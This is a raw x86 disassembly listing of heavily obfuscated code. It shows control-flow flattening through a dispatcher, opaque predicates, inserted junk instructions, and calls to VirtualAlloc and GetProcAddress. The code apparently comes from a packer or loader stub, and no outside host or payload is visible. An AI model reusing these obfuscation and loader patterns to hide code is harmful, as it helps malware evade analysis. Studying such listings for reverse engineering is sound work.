and eax, 0x9a142120
or eax, esi
mov esi, edx
not esi
and edx, 0xde946de7
or ecx, esi
and esi, 0x216b9218
or edx, esi
not ecx
mov esi, 0xb22d59b3
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xba1c2320
and eax, 0x45e3dcdf
or ecx, eax
setne dl
sete al
cmp dword [0x48f780], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
xor dl, ch
and dh, ch
and cl, al
and dl, al
xor al, ah
and al, ah
mov ah, dl
or cl, dh
xor dl, al
xor ah, 1
xor al, 1
xor cl, 1
or al, ah
or cl, ch
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xf06a92b7
cmovne eax, esi
test dl, 1
mov edx, 0xf06a92b7
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x401200
push 4
push 0x3000
push dword [ebp - 0x128]
push dword [ebp - 0x1a0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, 0x2a2ef10b
jmp 0x401200
mov eax, 0x8b10c7c8
jmp 0x401200
mov eax, dword [ebp - 0x15c]
mov ecx, dword [0x48f784]
mov eax, dword [eax]
mov dword [ebp - 0x1c4], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x43144828
mov ecx, edx
and ecx, 0x8e02051
and edx, 0x14b298ab
or esi, ecx
mov ecx, eax
xor ecx, 0x4bf46879
and ecx, eax
xor esi, 0x43144828
and eax, 0xeb4d6754
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x6ff7e97a
and esi, 0x90081685
or ecx, esi
mov esi, ecx
xor esi, 0x20010102
xor ecx, 0xdbfc7efd
mov edx, ecx
and edx, 0x461ae4e5
and esi, 0xb9e51b1a
or esi, edx
mov edx, eax
xor edx, 0xa9450310
xor eax, 0x41280a1
and eax, 0x461ae4e5
and edx, 0xb9e51b1a
or edx, eax
xor edx, esi
mov esi, 0x374bd403
not edx
or edx, ecx
cmp edx, 0xffffffff
setne cl
cmp dword [0x48f780], 0xa
setge dl
mov eax, edx
or dl, cl
xor al, cl
mov ecx, edx
mov ah, dl
and ah, al
xor cl, 1
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
mov edx, 0x6fd00171
cmovne edx, esi
test al, al
mov eax, 0x6fd00171
jmp 0x410365
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xdc308a36
and eax, 0x23cf75c9
or edx, eax
mov ecx, edx
xor ecx, 0xdc308a36
xor edx, 0x23cf75c9
mov eax, edx
mov esi, ecx
and eax, 0x966df120
and esi, 0x69920edf
or edx, 0x3024000b
and ecx, 0x301c580
or esi, eax
and edx, 0xfc26205b
mov eax, esi
xor esi, 0x966df120
xor eax, 0x69920edf
or ecx, edx
mov edi, esi
or edi, 0xcc022050
mov ebx, eax
and ebx, 0xd81a24
and esi, 0xb6239a4b
and edi, 0xfc26205b
or ebx, edi
xor ecx, ebx
mov edx, ecx
not edx
and ecx, 0x30fc1a2e
and edx, 0xcf03e5d1
or ecx, edx
mov edx, eax
and edx, 0x49dc65b4
and eax, 1
or edx, esi
mov esi, edx
xor esi, 0x20218a42
xor edx, 0x884010
or eax, esi
and edx, 0x968a5018
mov esi, 0xc0f5c292
and eax, 0x6975afe7
or eax, edx
xor eax, 0x6975afe7
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xda686d41
and ecx, 0x259792be
or ecx, edx
xor ecx, 0xda686d41
xor eax, ecx
test eax, ecx
sete dl
setne ah
cmp dword [0x48f780], 0xa
setl ch
setge al
mov dh, ch
xor dh, ah
mov cl, dh
xor cl, al
xor al, ah
and dl, al
and al, ch
and cl, dh
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, cl
and dl, al
xor al, 1
xor ah, al
and al, cl
and ah, cl
or al, dl
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0xec8f107d
cmovne ecx, esi
test al, al
mov edx, ecx
cmovne edx, esi
test ah, ah
jmp 0x40fcd7
mov ecx, dword [ebp - 0x10c]
mov esi, 0xfcadf4c4
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xbfffffff
and edx, 0xbfffffff
and eax, ecx
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
mov eax, dword [0x48f784]
setne byte [ebp - 0xb2]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1af1d5ee
mov edx, eax
and eax, 0xe50e2a11
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xe50e2a10
or eax, edx
mov ecx, eax
xor ecx, 0x4839e130
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0xb7c61ecf
and eax, 0x4839e130
or eax, ecx
setne dl
sete cl
cmp dword [0x48f780], 0xa
setl ah
setge al
xor ah, cl
and ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
mov ah, cl
xor al, 1
xor ah, 1
or al, dl
mov edx, eax
not dl
and dl, ah
or ah, al
and al, cl
or al, dl
mov edx, 0x78fffe39
mov ecx, eax
xor cl, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0x78fffe39
cmovne edx, eax
test cl, 1
cmove edx, esi
mov eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x48]
mov dword [eax], 0x20
mov eax, 0x7cc62b37
jmp 0x401200
cmp dword [ebp - 0x16c], 0
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
setne byte [ebp - 0xaa]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xc26092e8
and ecx, 0x3d9f6d17
or edx, ecx
xor edx, 0xc26092e8
or eax, edx
mov esi, eax
not esi
mov edx, eax
and edx, 0x78d40470
and eax, 0x4062081
mov ecx, esi
and ecx, 0x872bfb8f
or esi, 0x90800130
or edx, ecx
and esi, 0x92e11138
mov ecx, edx
xor edx, 0x872bfb8f
xor ecx, 0x78d40470
or eax, esi
mov edi, edx
or edi, 0x2611008
mov ebx, ecx
and ebx, 0x6918ce46
and edx, 0xf80cdf93
and edi, 0x92e11138
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0x626c45a1
and esi, 0x9d93ba5e
or eax, esi
mov esi, ecx
and esi, 0x7f3206c
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x500c1400
xor esi, 0x712004
or ecx, edx
mov edx, eax
xor edx, 0x90a402d6
and esi, 0xa871eb96
xor eax, 0x640b7529
and ecx, 0x578e1469
and edx, 0x90a556fe
or ecx, esi
mov esi, eax
and esi, 0x6f5aa901
or edx, esi
mov esi, ecx
xor esi, 0x10841468
xor ecx, 0xa871eb96
or eax, ecx
and ecx, 0x6f5aa901
and esi, 0x90a556fe
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xdbcee2a2
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x48f780], 0xa
setge ch
setl cl
mov al, ch
and cl, dl
xor al, ah
and ah, ch
xor al, 1
or cl, ah
or al, ch
mov edx, eax
xor dl, 1
and al, dl
mov ah, dl
xor al, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, dl
xor al, cl
xor ah, cl
or cl, dl
xor cl, 1
xor al, 1
or cl, ah
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xed3b5218
cmovne ecx, esi
test al, 1
mov eax, 0xed3b5218
cmove ecx, esi
jmp 0x411181
mov eax, dword [0x48f784]
mov esi, 0xcffd15ad
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x1989a118
and edx, 0xe6765ee7
or eax, edx
mov edx, eax
not edx
and eax, 0xe6765ee6
and edx, 0x1989a119
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x48f780], 0xa
setge al
setl cl
mov ch, al
and al, ah
xor ch, dl
and dl, cl
or cl, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
mov ah, cl
xor dl, 1
and al, cl
not ah
or cl, dl
and dl, ah
mov ch, cl
or dl, al
mov eax, 0xcffd15ad
xor ch, dl
test dl, dl
mov edx, 0x466c6fb4
cmovne eax, edx
test cl, cl
cmovne eax, esi
test ch, 1
cmove eax, edx
jmp 0x401200
neg esi
rol edx, 0x54
rcl esi, 0xa0
neg eax
ror edi, 5
dec esi
sub edi, 0xef
rcr eax, 0xf
rcr edi, 6
rcr edx, 0xba
not edi
ror esi, 0xa9
rol ebx, 0x7b
or edx, 0xf0
neg esi
and esi, 0x9d
rcl edi, 0xe8
neg esi
imul edx
ror esi, 0x28
bswap esi
dec edi
add eax, 0x6b
add edx, 0x3c
rol eax, 0xf
mov edx, 0x4b
or edi, 0xb7
dec eax
neg ebx
not ebx
mov ebx, 0x45
inc edi
inc esi
or ebx, 0x5e
mov edx, 0xfc
inc eax
bswap esi
bswap edi
inc esi
add edi, 1
neg esi
neg edi
add eax, 0x27
inc eax
imul edi
add esi, 0x97
and edi, 0xb3
bswap edi
inc esi
neg esi
not edx
or eax, 0x8a
rcl edx, 0x7a
and edx, 0xb2
or edx, 0x4d
or edx, 0x37
add esi, 0xaa
neg edi
mov edi, 0x1e
imul esi
sbb eax, 0xd2
dec ebx
bswap edx
not ebx
ror edx, 0xa1
not eax
rcr edi, 0x79
and esi, 0x1e
dec eax
dec ebx
add eax, 0xcc
add eax, 0x7f
ror edx, 0x15
imul edi
mov edi, 0x24
and edi, 0x35
sub eax, 0x48
or ebx, 0xc
bswap edx
rcr esi, 0xd
bswap edx
mov edi, 0x6c
dec ebx
not edx
add ebx, 0x57
not eax
sub eax, 0xc5
rcl ebx, 0x85
sbb eax, 0xcb
bswap edx
add ebx, 0xd0
or ebx, 0x24
dec ebx
ror edx, 0x85
rcr esi, 0xee
rcr ebx, 0x6b
rcr ebx, 0x84
imul eax
sub ebx, 0x69
sub eax, 0xa6
not esi
mov edi, 0x36
sbb esi, 0xcc
not edi
add eax, 0xd4
mov ebx, 0x1d
rol esi, 0xef
bswap esi
or edi, 0x98
inc esi
rol eax, 0x19
rcr esi, 0x5f
sbb edx, 0x8b
rcr eax, 0x71
rol ebx, 0xe6
neg ebx
bswap esi
dec ebx
add eax, 0x4d
mov edi, 0x73
imul esi
bswap ebx
imul eax
not edx
not ebx
bswap edx
mov eax, 0x72
sub edx, 0xa8
imul esi
sbb edi, 0x88
and esi, 0xd6
not edi
rol edi, 0xa
dec esi
mov eax, 0x79
dec eax
inc edi
rcr eax, 0x58
imul esi
dec eax
inc edx
bswap eax
sub edx, 0xdd
rcr edx, 0x61
and ebx, 0x61
ror esi, 0x5c
bswap ebx
bswap ebx
sub eax, 0x61
bswap ebx
mov dword [ebp - 0x208], eax
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
and ecx, 0xe2dbfa87
and esi, 0x1d240578
or esi, ecx
mov edx, esi
mov eax, esi
xor esi, 0x406cdc6d
xor eax, 0x1d240578
xor edx, 0xe2dbfa87
mov edi, esi
and edi, eax
and esi, edx
and edx, 0x9ab3e961
mov ecx, edi
not ecx
and edi, 0x67770bb
mov ebx, ecx
and ebx, 0xf9888f44
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x67770bb
or ecx, ebx
and ebx, 0xf9888f44
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x9261bc30
and esi, 0x6d9e43cf
or ecx, esi
mov esi, eax
and esi, 0x654c169e
and eax, 1
or esi, edx
xor ecx, 0x30d69adb
xor esi, 0x9ab3e960
or eax, esi
mov edx, eax
not edx
and eax, 0xd79b398e
and edx, 0x2864c671
or eax, edx
xor eax, 0xd79b398e
or eax, ecx
mov edx, eax
xor edx, 0x92c4c2b2
mov ecx, eax
and ecx, 0x4082b2
and edx, eax
not eax
and eax, 0x92844000
or ecx, eax
mov eax, ecx
xor eax, 0x8230
xor ecx, 0xffbf7d4d
mov esi, ecx
and esi, 0x2b4138ca
and eax, 0x9084c230
or eax, esi
mov esi, edx
not esi
and edx, 0xd4bec735
or ecx, esi
and esi, 0x2b4138ca
or edx, esi
not ecx
mov esi, 0x2c1643ea
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x92c4c2b2
and eax, 0x6d3b3d4d
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x75dced1f
and eax, 0x8a2312e0
or eax, ecx
xor eax, 0x8a2312e0
sete cl
setne ah
cmp dword [0x48f780], 0xa
setl dl
setge al
and cl, al
and dl, ah
or al, ah
or dl, cl
mov ah, dl
mov ecx, edx
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor cl, 1
and ah, al
xor al, 1
and cl, al
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xb21be2b1
cmovne edx, esi
test al, al
mov eax, 0xb21be2b1
jmp 0x410365
mov eax, 0x21b74673
jmp 0x401200
mov eax, dword [ebp - 0x34]
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
mov ecx, edx
not eax
or ecx, 0x8023eed1
mov edi, eax
mov esi, ecx
and esi, 0x165a708f
and edi, 0x69840120
and eax, 0xfb398edb
or edi, esi
mov esi, edx
xor esi, 0x7fdc112e
and esi, edx
and edx, 0x4c67124
mov ebx, esi
not ebx
and esi, 0xe9a58f70
or eax, edx
or ecx, ebx
and ebx, 0x165a708f
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x6f043a41
and esi, 0x90fbc5be
or ecx, esi
mov esi, ecx
xor esi, 0x10180a4a
xor ecx, 0xef27d491
mov edi, ecx
and edi, 0x4c67124
and esi, 0xfb398edb
or esi, edi
xor eax, esi
mov esi, 0x3ec837d8
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x48f780], 0xa
mov edx, eax
setl ah
setge ch
and dl, ch
and ah, cl
xor al, ch
or ah, dl
mov dl, ah
xor dl, ch
mov ch, al
and dl, ah
xor ch, 1
mov ah, dl
mov dh, dl
xor ah, 1
mov cl, ah
xor ah, ch
and cl, dl
xor cl, 1
xor dh, cl
or cl, dl
xor cl, 1
or cl, dh
mov dh, cl
and cl, al
or al, dl
xor dh, 1
xor al, 1
and dh, ch
or al, ah
or cl, dh
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x29e2cfe2
cmovne edx, esi
test al, 1
mov eax, 0x29e2cfe2
jmp 0x410365
mov eax, 0x842e3785
jmp 0x401200
mov eax, 0xb22d59b3
jmp 0x401200
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x40]
mov eax, 0xad557a39
jmp 0x401200
cmp byte [ebp - 0xa7], 0
mov eax, 0x80c6bebb
mov ecx, 0xe085a271
cmovne eax, ecx
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xa146109e
and edx, ecx
not ecx
and ecx, 0xa146109e
or edx, ecx
mov eax, edx
not eax
and edx, 0x70824e9d
and eax, 0x8f7db162
or edx, eax
mov ecx, edx
mov eax, edx
xor edx, 0x202281ac
xor ecx, 0xd1c45e03
xor eax, 0xd1c45e02
and eax, ecx
and edx, 0xf066dfaf
and ecx, 0xf992050
or ecx, edx
mov edx, eax
not edx
and eax, 0xb37d5a25
mov esi, edx
and esi, 0x4c82a5da
or eax, esi
mov esi, ecx
xor esi, 0x3190001
xor ecx, 0xf066dfae
or edx, ecx
and ecx, 0x4c82a5da
and esi, 0xb37d5a25
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, 0x2906d8d6
mov ecx, edx
not ecx
and edx, 0xfcd112aa
and ecx, 0x32eed55
or ecx, edx
mov eax, ecx
xor eax, 0x28900228
xor ecx, 0x30c2445
and ecx, 0xd74d34c7
and eax, 0x28b2cb38
or eax, ecx
mov ecx, eax
xor ecx, 0x808038
xor eax, 0xc5451444
and eax, 0xed775f44
and ecx, 0x1288a0bb
or ecx, eax
cmp ecx, 0x1288a0bb
sete dl
cmp dword [0x48f780], 0xa
mov ah, dl
setge cl
setl al
and ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
xor al, dl
or ah, dl
mov edx, ecx
xor ah, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd7b8c871
cmovne ecx, esi
test al, 1
mov eax, 0xd7b8c871
jmp 0x410aa7
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x13c], eax
mov eax, 0x8feba7df
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x560a96aa
and eax, 0x196f6149
mov ecx, edx
and ecx, 0xa9f56955
and edx, 0xe6909eb6
or esi, ecx
or eax, edx
mov ecx, esi
not ecx
and esi, 0xd64de99e
and ecx, 0x29b21661
or esi, ecx
mov ecx, esi
xor ecx, 0x62b88082
xor esi, 0x80021520
and esi, 0x9d021568
and ecx, 0x62fdea97
or ecx, esi
mov esi, ecx
xor esi, 0x40fd8a04
xor ecx, 0x9d021568
mov edx, ecx
and edx, 0xa300749b
and esi, 0x5cff8b64
or esi, edx
mov edx, eax
xor edx, 0x186f0140
xor eax, 0xe6909eb6
or ecx, eax
and eax, 0xa300749b
and edx, 0x5cff8b64
or edx, eax
not ecx
xor edx, esi
mov esi, 0x4008b438
or ecx, edx
cmp ecx, 0xffffffff
sete dl
cmp dword [0x48f780], 0xa
mov ecx, edx
setl al
xor cl, al
or al, dl
mov ah, cl
mov edx, eax
xor ah, 1
or al, ah
xor dl, ah
xor al, 1
or al, dl
xor cl, al
or al, ah
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xbf7f05dd
cmovne ecx, esi
test al, 1
not dl
mov eax, 0xbf7f05dd
cmovne ecx, esi
jmp 0x411181
mov eax, dword [0x48f784]
mov esi, 0x5349f956
mov edi, 0x5023dfce
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x9fcbb791
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x6034486e
and eax, 0x9fcbb791
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9d027cc2
and ecx, 0x62fd833d
or eax, ecx
cmp eax, 0x9d027cc2
sete dl
cmp dword [0x48f780], 0xa
mov ch, dl
mov eax, edx
setge ah
setl cl
inc al
xor ch, ah
and al, cl
and ah, dl
or cl, dl
mov dl, ch
or al, ah
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor dl, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x5023dfce
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, edi
jmp 0x4112ec
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xf7bffebc
and eax, 0x8400143
or ecx, eax
mov eax, ecx
xor ecx, 0x400042
xor eax, 0xf7bffebc
mov edx, eax
and ecx, 0x776592ea
and edx, 0x889a6d15
and eax, 0xf697b701
or edx, ecx
mov ecx, edx
mov esi, edx
xor edx, 0x14401028
xor ecx, 0x889a6d15
xor esi, 0x7e0dda14
mov edi, ecx
and edx, 0x14c85029
and edi, 0xeb37afd6
and esi, ecx
and ecx, 1
or edi, edx
or eax, esi
mov edx, edi
xor edx, 0x14c04008
mov esi, eax
not esi
xor edi, 0xc203a496
and eax, 0x96848ff
or ecx, edx
and esi, 0xf697b700
and edi, 0xc20bb4b6
and ecx, 0x3df44b49
or eax, esi
or ecx, edi
mov edx, eax
not edx
and eax, 0xcfaa58bf
mov edi, ecx
xor edi, 0xda04809
xor ecx, 0xc20bb4b6
mov ebx, edx
and ebx, 0x3055a740
or edx, ecx
and ecx, 0x3055a740
and edi, 0xcfaa58bf
or eax, ebx
or edi, ecx
not edx
xor edi, eax
or edx, edi
mov eax, edx
not eax
and edx, 0xfb551c3e
and eax, 0x4aae3c1
or edx, eax
mov eax, edx
xor eax, 0x4315083e
xor edx, 0x4aa2140
and edx, 0xbcea3540
and eax, 0x4315cabf
or eax, edx
mov ecx, eax
xor ecx, 0x18a07
xor eax, 0x38a00400
and eax, 0x7bb444b8
and ecx, 0x844bbb47
or ecx, eax
xor ecx, 0x844bbb47
setne al
sete dl
cmp dword [0x48f780], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov ch, al
or cl, ah
mov edx, ecx
and ch, cl
xor dl, 1
mov ah, dl
or dl, al
xor al, 1
and ah, al
xor al, cl
xor dl, 1
or dl, al
or ch, ah
mov eax, 0x550f99e3
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0x740c108e
cmovne eax, edx
test ch, ch
not cl
cmove eax, edx
test cl, 1
mov edx, 0x550f99e3
cmovne eax, edx
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xc0142018
mov esi, edx
and esi, 0x20208100
and edx, 0x9f7c59eb
or ecx, esi
mov esi, eax
xor esi, 0xe034a118
and esi, eax
xor ecx, 0xc0142018
and eax, 0x6083a614
or ecx, esi
not esi
or eax, edx
and esi, 0x1fcb5ee6
and ecx, 0xe034a119
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x9ec6de6d
mov esi, edx
and esi, 0x61392192
or ecx, esi
mov esi, eax
xor esi, 0x828604
xor eax, 0x1380182
and eax, 0x61392192
and esi, 0x9ec6de6d
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xc637503
setne dl
sete ah
cmp dword [0x48f780], 0xa
mov ecx, edx
setge al
setl ch
xor cl, ch
and dl, ch
mov ch, al
xor ch, ah
and ch, al
and al, ah
or al, dl
mov dl, ch
xor ch, al
xor dl, 1
xor al, 1
or al, dl
xor al, 1
or al, ch
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ch, cl
xor ch, al
and al, cl
or al, dl
and ch, cl
mov edx, 0x5a51f6ca
mov cl, al
xor cl, ch
test al, al
mov eax, 0x5a51f6ca
cmovne eax, esi
test ch, ch
cmove eax, edx
test cl, cl
cmovne eax, esi
jmp 0x401200
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x150]
mov eax, 0x62db2633
jmp 0x401200
mov eax, dword [ebp - 0x38]
mov dword [eax], 5
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x61705b29
not edx
mov esi, edx
and ecx, eax
and esi, 0x61705b29
and edx, 0x7df7a00a
and eax, 0x82085ff5
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x61705b28
and esi, 0x9e8fa4d7
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x7280f222
mov esi, edx
and esi, 0x8d7f0ddd
or ecx, esi
mov esi, eax
xor esi, 0x2005220
xor eax, 0xd770008
and eax, 0x8d7f0ddd
and esi, 0x7280f222
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x4008b438
sete ah
setne al
cmp dword [0x48f780], 0xa
setge cl
setl ch
mov edx, ecx
or cl, al
xor dl, al
xor al, ch
and dl, ah
not al
and al, ch
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, al
and al, cl
xor ah, 1
and dl, ah
or ah, cl
mov ecx, 0x7679cc4f
or dl, al
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, 1
mov eax, 0x7679cc4f
jmp 0x411184
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x5f9efc5a
mov esi, edx
and esi, 0xa06103a5
and edx, 0x8d88abe
or ecx, esi
mov esi, ecx
xor ecx, 0xa0010004
xor esi, 0x1024002
or ecx, 0x5ee48ff9
and esi, 0x1024006
mov edi, ecx
and edi, 0xea3dbc19
or esi, edi
mov edi, eax
xor edi, 0xa11b7006
and edi, eax
and eax, 0xf7277541
mov ebx, edi
not ebx
and edi, 0x15c243e6
or eax, edx
or ecx, ebx
and ebx, 0xea3dbc19
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
not edi
and edi, 0x5ee48ff8
and ecx, 0xa11b7007
or ecx, edi
mov edx, ecx
not edx
and ecx, 0xc61aa993
mov esi, edx
and esi, 0x39e5566c
or ecx, esi
mov esi, eax
xor esi, 0xc6022101
xor eax, 0x8c0022c
and eax, 0x39e5566c
and esi, 0xc61aa993
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xfc82720a
sete dl
setne cl
cmp dword [0x48f780], 0xa
setge ah
mov al, ah
xor al, cl
or cl, ah
or ah, dl
and al, dl
xor cl, 1
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x28a4d3a8
cmovne eax, esi
test dl, 1
mov edx, 0x28a4d3a8
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, 0x4439b932
jmp 0x401200
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x50]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, 0xb35144b4
jmp 0x401200
mov eax, 0x9c7bc6f4
jmp 0x401200
mov eax, dword [ebp - 0xc0]
mov eax, 0xe8a0f8bb
jmp 0x401200
cmp byte [ebp - 0xa8], 0
mov eax, 0x813eaecf
mov ecx, 0x303d1326
cmovne eax, ecx
jmp 0x401200
mov eax, 0x84390256
jmp 0x401200
mov ecx, dword [0x48f784]
mov edi, 0xbe085f39
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xd33d35a
and ecx, 0xf2cc2ca5
or eax, ecx
mov edx, eax
xor edx, 0x401d350
xor eax, 0xf2402485
and eax, 0xfb72248f
and edx, 0x48ddb70
or edx, eax
mov ecx, edx
xor edx, 0xccb40
xor ecx, 0xfb72248f
mov eax, ecx
and edx, 0xe84eefc6
and eax, 0x17b11039
and ecx, 0x6d47597d
or eax, edx
mov edx, eax
xor edx, 0x12b00000
xor eax, 0xe84eefc6
and edx, 0x92b8a682
and eax, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x5ed98eb6
and edx, 0xa1267149
or ecx, edx
xor ecx, 0xcc612835
or eax, ecx
mov ecx, eax
xor ecx, 0x5cd8f346
mov edx, eax
not edx
and ecx, eax
or eax, 0xa3270cb9
and edx, 0x10503042
mov esi, eax
and esi, 0x6fabcb35
or edx, esi
mov esi, ecx
not esi
and ecx, 0x905434ca
or eax, esi
and esi, 0x6fabcb35
or ecx, esi
not eax
mov esi, 0x9baf56bf
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa69f8468
and ecx, 0x59607b97
or eax, ecx
mov ecx, eax
xor ecx, 0xca02642c
xor eax, 0x5a00050
and eax, 0x35e51352
and ecx, 0xca1aecad
or ecx, eax
mov eax, ecx
xor eax, 0x21a6020
xor ecx, 0x1201102
and ecx, 0xc9209d8f
and eax, 0x36df6270
or eax, ecx
xor eax, 0x36df6270
setne ch
sete dl
cmp dword [0x48f780], 0xa
mov dh, ch
setge al
setl ah
mov cl, al
xor dh, al
or cl, dl
and dh, dl
xor cl, 1
or cl, dh
mov dh, al
or al, ch
and ch, ah
xor ah, dl
xor al, 1
and dh, dl
or al, ah
or dh, ch
xor al, 1
or al, dh
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or dl, ah
mov ah, dl
xor dl, 1
and dl, cl
xor cl, 1
and ah, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test cl, 1
cmovne edi, esi
test dl, 1
not al
cmove edi, esi
test al, 1
mov eax, 0xbe085f39
cmovne edi, eax
mov eax, edi
jmp 0x401200
cmp dword [ebp - 0x1e8], 0
mov eax, 0xc7be2f0c
